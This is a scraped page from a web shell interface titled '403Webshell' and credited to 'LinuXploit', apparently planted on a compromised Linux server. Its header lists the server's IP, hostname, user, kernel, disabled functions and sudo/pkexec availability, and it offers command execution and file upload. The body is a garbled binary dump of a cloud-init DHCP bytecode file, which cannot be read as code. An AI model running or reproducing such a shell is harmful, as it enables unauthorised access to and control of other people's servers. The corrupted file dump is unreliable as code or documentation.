403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/net/__pycache__/dhcp.cpython-36.pyc
3

��b+?�@sddlZddlZddlZddlZddlZddlmZddlmZm	Z	ddl
Z
ddlmZm
Z
mZddlmZmZmZmZddlmZeje�ZdZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�Zddd�Z dd�Z!ddd�Z"dd�Z#ddd�Z$ddd�Z%dd�Z&dS) �N)�StringIO)�Any�Dict)�subp�
temp_utils�util)�EphemeralIPv4Network�find_fallback_nic�get_devicelist�has_url_connectivity)�mask_and_ipv4_to_bcast_addrz/run/systemd/netif/leasesc@seZdZdZdS)�InvalidDHCPLeaseFileErrorz�Raised when parsing an empty or invalid dhcp.leases file.

    Current uses are DataSourceAzure and DataSourceEc2 during ephemeral
    boot to scrape metadata.
    N)�__name__�
__module__�__qualname__�__doc__�rr�/usr/lib/python3.6/dhcp.pyr
sr
c@seZdZdZdS)�NoDHCPLeaseErrorz'Raised when unable to get a DHCP lease.N)rrrrrrrrr'src@sTeZdZdeeefd�dd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�ZdS)�EphemeralDHCPv4N)�connectivity_url_datacCs"||_d|_d|_||_||_dS)N)�iface�_ephipv4�lease�
dhcp_log_funcr)�selfrrrrrr�__init__,s
zEphemeralDHCPv4.__init__cCs*|jr"t|j�r"tjd|j�dS|j�S)zUSetup sandboxed dhcp context, unless connectivity_url can already be
        reached.z:Skip ephemeral DHCP setup, instance has connectivity to %sN)rr�LOG�debug�obtain_lease)rrrr�	__enter__8s
zEphemeralDHCPv4.__enter__cCs|j�dS)z Teardown sandboxed dhcp context.N)�
clean_network)rZ	excp_typeZ
excp_valueZexcp_tracebackrrr�__exit__EszEphemeralDHCPv4.__exit__cCs*|jrd|_|jsdS|jjddd�dS)z@Exit _ephipv4 context to teardown of ip configuration performed.N)rrr")rrrrr!Is
zEphemeralDHCPv4.clean_networkcCs|jr|jSyt|j|j�}Wn*tk
rH}zt�|�WYdd}~XnX|sTt��|d|_tjd|jd|jd|jd�dddddd	gd
d�}|j|�}|ds�t	|d
|d�|d<|dr�t
|d�|d<|jr�|j|d<tf|�}|j
�||_|jS)a9Perform dhcp discovery in a sandboxed environment if possible.

        @return: A dict representing dhcp options on the most recent lease
            obtained from the dhclient discovery if run, otherwise an error
            is raised.

        @raises: NoDHCPLeaseError if no leases could be obtained.
        N�z#Received dhcp lease on %s for %s/%s�	interfacez
fixed-addresszsubnet-maskzbroadcast-addresszrfc3442-classless-static-routeszclassless-static-routesZrouters)r$�ip�prefix_or_mask�	broadcast�
static_routesZrouterr'r&r%r(r���)r�maybe_perform_dhcp_discoveryrrr
rrr�extract_dhcp_options_mapping�bcip�parse_static_routesrrr r)r�leases�e�nmap�kwargsZephipv4rrrrQsD	



zEphemeralDHCPv4.obtain_leasecCsHi}x>|j�D]2\}}t|t�r0|j|||�q|jj|�||<qW|S)N)�items�
isinstance�list�get_first_option_valuer�get)rr0�resultZinternal_reference�lease_option_namesrrrr+�s
z,EphemeralDHCPv4.extract_dhcp_options_mappingcCs,x&|D]}|j|�s|jj|�||<qWdS)N)r6r)rZinternal_mappingr8r7Zdifferent_namesrrrr5�s

z&EphemeralDHCPv4.get_first_option_value)NNN)
rrrr�strrrr r"r!rr+r5rrrrr+s
3rcCs�|dkr&t�}|dkr@tjd�gSn|t�kr@tjd|�gStjd�}|s\tjd�gStjdddd��}t||||�SQRXdS)	aPerform dhcp discovery if nic valid and dhclient command exists.

    If the nic is invalid or undiscoverable or dhclient command is not found,
    skip dhcp_discovery and return an empty dict.

    @param nic: Name of the network interface we want to run dhclient on.
    @param dhcp_log_func: A callable accepting the dhclient output and error
        streams.
    @return: A list of dicts representing dhcp options for each lease obtained
        from the dhclient discovery if run, otherwise an empty list is
        returned.
    Nz1Skip dhcp_discovery: Unable to find fallback nic.z8Skip dhcp_discovery: nic %s not found in get_devicelist.�dhclientz7Skip dhclient configuration: No dhclient command found.Tzcloud-init-dhcp-)Zrmtree_ignore_errors�prefixZ	needs_exe)	r	rrr
rZwhichrZtempdir�dhcp_discovery)ZnicrZ
dhclient_pathZtdirrrrr*�s"




r*cCs�tjdtj�}g}tj|�}t|�dkr6tdj|���xh|j|�D]Z}g}xB|j	d�D]4}|j
�jdd�jdd�}|sxqV|j|j	dd	��qVW|jt
|��qBW|s�td
j|���|S)aParse the given dhcp lease file for the most recent lease.

    Return a list of dicts of dhcp options. Each dict contains key value pairs
    a specific lease in order from oldest to newest.

    @raises: InvalidDHCPLeaseFileError on empty of unparseable leasefile
        content.
    zlease {(?P<lease>.*?)}\nrz&Cannot parse empty dhcp lease file {0}�;�"�zoption � r#z1Cannot parse dhcp lease file {0}. No leases found)�re�compile�DOTALLr�	load_file�lenr
�format�findall�split�strip�replace�append�dict)�
lease_fileZlease_regexZdhcp_leasesZ
lease_contentrZ
lease_options�linerrr�parse_dhcp_lease_file�s&	
rOcCs�tjd|�tjj|d�}tj||�tjj|d�}tjj|d�}tj|tj�sT|}t	j	dddd|d	gd
d�|dd
d|d||ddg
}t	j	|d
d�\}}	tj
||gddd�}
|
r�tjddjdd�|
D���gSd}d}x�tdd�D]t}
tj
|�j�}yt|�}Wntk
�rYn6Xtj|�}|dk�rNtjd|�tj|tj�d
}Ptjd�q�W|�srtjd||d!�|d k	�r�|||	�t|�S)"aRun dhclient on the interface without scripts or filesystem artifacts.

    @param dhclient_cmd_path: Full path to the dhclient used.
    @param interface: Name of the network inteface on which to dhclient.
    @param cleandir: The directory from which to run dhclient as well as store
        dhcp leases.
    @param dhcp_log_func: A callable accepting the dhclient output and error
        streams.

    @return: A list of dicts of representing the dhcp leases parsed from the
        dhcp.leases file or empty list.
    z!Performing a dhcp discovery on %sr:zdhclient.pidzdhcp.leasesr%�link�setZdevZupT)Zcapturez-1z-vz-lfz-pfz-sfz	/bin/true�g{�G�z�?)ZmaxwaitZnaplenz+dhclient did not produce expected files: %sz, css|]}tjj|�VqdS)N)�os�path�basename)�.0�frrr�	<genexpr>sz!dhcp_discovery.<locals>.<genexpr>�unknownFri�r#zkilling dhclient with pid=%szCdhclient(pid=%s, parentpid=%s) failed to daemonize after %s secondsNg$@)rrrSrT�joinr�copy�access�X_OKrZwait_for_filesZwarning�rangerDrI�int�
ValueErrorZ
get_proc_ppid�kill�signal�SIGKILL�timeZsleep�errorrO)Zdhclient_cmd_pathr$ZcleandirrZsandbox_dhclient_cmdZpid_filerM�cmd�out�errZmissingZppidZ
daemonized�_Zpid_content�pidrrrr<�sd
	



r<cCsttjt|�dd��S)z�Parse a systemd lease file content as in /run/systemd/netif/leases/

    Parse this (almost) ini style file even though it says:
      # This is private data. Do not parse.

    Simply return a dictionary of key/values.F)Zlist_values)rL�	configobjZ	ConfigObjr)Zcontentrrr�networkd_parse_lease<srlcCsT|dkrt}i}tjj|�s |Sx.tj|�D] }ttjtjj||���||<q,W|S)z�Return a dictionary of dictionaries representing each lease
    found in lease_d.i

    The top level key will be the filename, which is typically the ifindex.N)	�NETWORKD_LEASES_DIRrSrT�isdir�listdirrlrrDrZ)�leases_d�retZlfilerrr�networkd_load_leasesGsrrcCsF|dkrt}t|d�}x*t|j��D]\}}|j|�r$||Sq$WdS)N)rp)rmrr�sortedr2r6)Zkeynamerpr.Z_ifindex�datarrr�networkd_get_option_from_leasesZs

rucs�jd��dd�tjd��D�}g}�fdd�}d}�x�t|�D�]�\}}||krTq@t|�}|tdd	�kr�d
}t||d��|kr�|||t||d���|Sdj||d
|d��}	dj||d||��}
||}�n |tdd�k�rjd}t||d��|k�r$|||t||d���|Sdj||d
|d�dg�}	dj||d||��}
||}�n�|td
d�k�r�d}t||d��|k�r�|||t||d���|Sdj||d
|d�ddg�}	dj||d||��}
||}�n|td
d
�k�r�d}t||d��|k�r>|||t||d���|Sdj||d
|d�dddg�}	dj||d||��}
||}nx|dk�r�d}t||d��|k�r�|||t||d���|Sd}	dj||d
||��}
||}ntj	d|�|S|j
d|	|f|
f�q@W|S)a�parse rfc3442 format and return a list containing tuple of strings.

    The tuple is composed of the network_address (including net length) and
    gateway for a parsed static route.  It can parse two formats of rfc3442,
    one from dhcpcd and one from dhclient (isc).

    @param rfc3442: string in rfc3442 format (isc or dhcpd)
    @returns: list of tuple(str, str) for all valid parsed routes until the
              first parsing error.

    E.g.
    sr=parse_static_routes("32,169,254,169,254,130,56,248,255,0,130,56,240,1")
    sr=[
        ("169.254.169.254/32", "130.56.248.255"), ("0.0.0.0/0", "130.56.240.1")
    ]

    sr2 = parse_static_routes("24.191.168.128 192.168.128.1,0 192.168.128.1")
    sr2 = [
        ("191.168.128.0/24", "192.168.128.1"), ("0.0.0.0/0", "192.168.128.1")
    ]

    Python version of isc-dhclient's hooks:
       /etc/dhcp/dhclient-exit-hooks.d/rfc3442-classless-routes
    r=cSsg|]}|r|�qSrr)rV�tokrrr�
<listcomp>sz'parse_static_routes.<locals>.<listcomp>z[, .]csd|||�f}tj|�dS)Nz�RFC3442 string malformed.  Current route has CIDR of %s and requires %s significant octets, but only %s remain. Verify DHCP rfc3442-classless-static-routes value: %s)rre)ZcidrZrequiredZremain�msg)�rfc3442rr�_trunc_error�sz)parse_static_routes.<locals>._trunc_errorr��!�	N�.r#rR����0����z0.0.0.0zSParsed invalid net length "%s".  Verify DHCP rfc3442-classless-static-routes value.z%s/%s)�rstriprArH�	enumerater_r^rErZrrerK)ry�tokensr(rzZcurrent_idx�idxrvZ
net_lengthZreq_toksZnet_addressZgatewayr)ryrr-dsn
	 "$


r-)NN)N)N)N)'ZloggingrSrArbrd�iorZtypingrrrkZ	cloudinitrrrZ
cloudinit.netrr	r
rZcloudinit.net.network_staterr,Z	getLoggerrrrm�	Exceptionr
r�objectrr*rOr<rlrrrur-rrrr�<module>s,
l
""
a



Youez - 2016 - github.com/yon3zu
LinuXploit